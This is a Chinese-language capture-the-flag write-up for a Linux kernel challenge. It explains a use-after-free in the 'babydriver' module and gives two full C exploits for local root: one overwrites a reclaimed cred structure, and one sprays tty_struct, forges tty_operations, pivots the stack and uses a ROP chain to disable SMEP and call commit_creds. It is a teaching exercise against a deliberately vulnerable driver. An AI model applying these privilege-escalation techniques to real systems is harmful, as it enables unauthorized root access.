linux_kernel_uaf漏洞利用实战

前言

好像是国赛的一道题。一个 linux 的内核题目。漏洞比较简单,可以作为入门。

题目链接: 在这里

正文

题目给了3个文件

linux_kernel_uaf漏洞利用实战

分配是 根文件系统 , 内核镜像, 启动脚本。解压运行 boot.sh 即可。 vmware 需要开启一个选项。

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使用 lsmod 可以找到加载的内核模块,以及它的加载地址。

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多次启动发现,地址都没有变化,说明没有开启 kaslr ,从 boot.sh 中查看 qemu 启动选项

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

发现开启了 smep.

然后解压 rootfs.cpio, 拿出内核模块文件,用 ida 分析之。

使用

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解开 rootfs.cpis ,可以使用 find 命令搜索 babydriver, 可知 内核模块文件位于 lib/modules/4.4.72/babydriver.ko, 然后放到 ida 里面分析即可。

使用 open 开启设备时会,分配一块内存到 babydev_struct.device_buf

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关闭设备时会直接 kfreebabydev_struct.device_buf.

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readwrite 非常正常的操作。

ioctl 时我们可以让 驱动 重新分配我们想要的大小的内存。

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程序的漏洞在于 babydev_struct 是一个全局变量,所以如果我们打开两次该设备,就会有两个 fd 可以操作这个结构体,然后释放掉一个,另外剩下的那个就会指向一块已经 free 掉的内存, UAF.

由于开启了 smep ,我们不能使用 ret2user的攻击方式。下面介绍两种利用方法。

**修改 cred **

  • 进程的权限由 uid 决定,所以我们可以通过 ioctl 分配和 cred结构体同样大小的内存块

  • 然后触发漏洞,free 掉它,接着通过 fork 创建进程,这样该进程的 cred 结构体就会使用刚刚 free 掉的内存。

  • 而此时我们可以使用 babydriverwrite 功能修改这块内存。

  • 我们可以修改 cred 结构体中代表 uid 的区域 为 0,就实现了 root

exp


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h> #define CRED_SIZE 168
#define DEV_NAME "/dev/babydev" char buf[100]; int main()
{
int fd1, fd2, ret;
char zero_buf[100];
memset(zero_buf, 0, sizeof(char) * 100);
fd1 = open(DEV_NAME, O_RDWR);
fd2 = open(DEV_NAME, O_RDWR);
// 首先通过ioctl改变第一次open的内存大小,使其和cred结构体一样大小
ret = ioctl(fd1, 0x10001, CRED_SIZE);
// release第一次open,释放一个cred结构体一样大小的内存
close(fd1);
// fork一个新进程来创建一个cred结构体,这个cred结构体就会用刚刚释放的内存,即UAF内存空间
int now_uid = 1000; // 当前uid为1000
int pid = fork();
if (pid < 0) {
perror("fork error");
return 0;
} if (!pid) {
// 写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
ret = write(fd2, zero_buf, 28);
now_uid = getuid();
if (!now_uid) {
printf("get root done\n");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
exit(0);
} else {
puts("failed?");
exit(0);
}
} else {
wait(NULL);
}
close(fd2);
return 0;
}

利用tty_struct

smep 只是不能执行用户态的代码,我们还是可以使用 用户态的数据的。我们可以通过 rop 来关闭 smep, 然后再在使用 ret2user 的技术进行提权。

首先我们需要控制 rip, 可以通过 触发 uaf 后,多次分配 tty_struct 来占坑,然后使用 write 修改 tty_operations 的指针到我们伪造的 tty_operations 结构体 就可以控制 rip 了。

要进行 rop 我们需要一个可控的 栈 。

这里使用

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因为在调用 tty_operations 里面的函数时,最后一步是 call rax, 所以进入到这里时 的 rax 就为 0xffffffff81007808 这是一个 内核的内存地址,不过它的低 32 位,也即 eax0x81007808,是一个 用户态的地址,我们是可以通过 mmap 拿到的,所以思路就是,首先通过 mmap0x81007808 处布置好 rop_chain 然后 设置 tty_operations 里面的其中一个函数指针为 xchg esp,eax 的地址,然后调用之,就会进入 rop 了。

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xchg esp,eax之后,可以发现 rsp 被劫持到我们可控的数据区了,接下来就是通过 rop 关闭 semp, 然后 ret2user 提权即可。

linux_kernel_uaf漏洞利用实战

exp

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h> #define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100 int spray_fd[0x100]; /* // 将tty_struct放入UAF空间,将第24字节的位置用伪造的tty_operations替换,如147、148行所示
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]
*/ struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
}; typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); /* Gadgets */
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 写入cr4来关闭smep
unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 设置栈
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
//unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // 回到用户空间之前的准备 /* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值压栈
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
} void get_shell() {
system("/bin/sh");
} void get_root() {
commit_creds(prepare_kernel_cred(0));
} void exploit() {
int i;
char *buf = (char*)malloc(0x1000);
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations)); save_stats(); memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 设置tty的ioctl操作为栈转移指令 int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR); ioctl(fd1, 0x10001, TTY_STRUCT_SIZE);
write(fd2, "hello world", strlen("hello world"));
close(fd1); // spray tty 这里的堆喷射其实去掉也能成功,因为是释放后紧接着申请的
puts("[+] Spraying buffer with tty_struct");
for (i = 0; i < SPRAY_ALLOC_TIMES; i++) {
spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (spray_fd[i] < 0) {
perror("open tty");
}
} // 现在有一个tty_struct落在了UAF区域里
puts("[+] Reading buffer content from kernel buffer");
long size = read(fd2, buf, 32);
if (size < 32) {
puts("[-] Reading not complete!");
printf("[-] Only %ld bytes read.\n", size);
} // 检查喷射是否成功
puts("[+] Detecting buffer content type");
if (buf[0] != 0x01 || buf[1] != 0x54) {
puts("[-] tty_struct spray failed");
printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
puts("[-] Exiting...");
exit(-1);
}
// 设置tty_operations为伪造的操作
puts("[+] Spray complete. Modifying function pointer");
unsigned long *temp = (unsigned long *)&buf[24];
*temp = (unsigned long)fake_tty_operations; puts("[+] Preparing ROP chain");
unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
unsigned long base = lower_address & ~0xfff;
printf("[+] Base address is %lx\n", base);
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
perror("mmap");
exit(1);
} unsigned long rop_chain[] = {
poprdiret,
0x6f0,
native_write_cr4, // cr4 = 0x6f0
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
base + 0x10000,
user_ss
};
memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
puts("[+] Writing function pointer to the driver");
long len = write(fd2, buf, 32);
if (len < 0) {
perror("write");
exit(1);
} puts("[+] Triggering");
for (i = 0;i < SPRAY_ALLOC_TIMES; i++) {
ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax
}
} int main() {
exploit();
return 0;
}

最后

内核态和用户态其实也差不多,主要就是对内存机制要非常了解。 xchg esp, eax 然后 mmap 即可控制 栈数据, 这个技巧确实厉害。使用 gef 没法调内核,换了 pwndbg 就可以了.

参考

http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/

http://bobao.360.cn/learning/detail/4148.html

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